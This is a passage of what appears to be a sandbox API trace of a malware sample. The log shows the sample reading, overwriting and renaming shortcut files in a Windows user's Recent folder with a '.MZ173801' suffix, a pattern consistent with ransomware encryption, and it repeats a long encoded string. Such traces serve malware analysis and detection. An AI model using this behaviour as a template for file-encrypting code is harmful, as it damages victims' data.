EQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.226] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.227] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fZVy.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\fzvy.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.228] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.228] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.228] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x3c1 [0121.228] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.228] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x3c1, lpOverlapped=0x0) returned 1 [0121.229] CloseHandle (hObject=0x288) returned 1 [0121.229] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fZVy.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\fzvy.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.230] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x3c1, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x3c1, lpOverlapped=0x0) returned 1 [0121.230] CloseHandle (hObject=0x288) returned 1 [0121.231] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fZVy.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\fzvy.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fZVy.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\fzvy.lnk.mz173801")) returned 1 [0121.232] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf323e20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf323e20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf323e20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3f2, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="GcPuh9ONd_.flv.lnk", cAlternateFileName="GCPUH9~1.LNK")) returned 1 [0121.232] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.232] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.233] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GcPuh9ONd_.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\gcpuh9ond_.flv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf323e20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf323e20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf323e20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3f2)) returned 1 [0121.234] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.234] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.235] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GcPuh9ONd_.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\gcpuh9ond_.flv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.235] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.235] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.236] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x3f2 [0121.236] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.236] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x3f2, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x3f2, lpOverlapped=0x0) returned 1 [0121.237] CloseHandle (hObject=0x288) returned 1 [0121.237] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GcPuh9ONd_.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\gcpuh9ond_.flv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.238] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x3f2, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x3f2, lpOverlapped=0x0) returned 1 [0121.239] CloseHandle (hObject=0x288) returned 1 [0121.240] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GcPuh9ONd_.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\gcpuh9ond_.flv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GcPuh9ONd_.flv.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\gcpuh9ond_.flv.lnk.mz173801")) returned 1 [0121.242] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfccf780, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfccf780, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfccf780, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1473, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="geEDaQ9y6x6tyBlo.lnk", cAlternateFileName="GEEDAQ~1.LNK")) returned 1 [0121.242] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.242] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.242] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\geEDaQ9y6x6tyBlo.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\geedaq9y6x6tyblo.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfccf780, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfccf780, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfccf780, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1473)) returned 1 [0121.244] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4M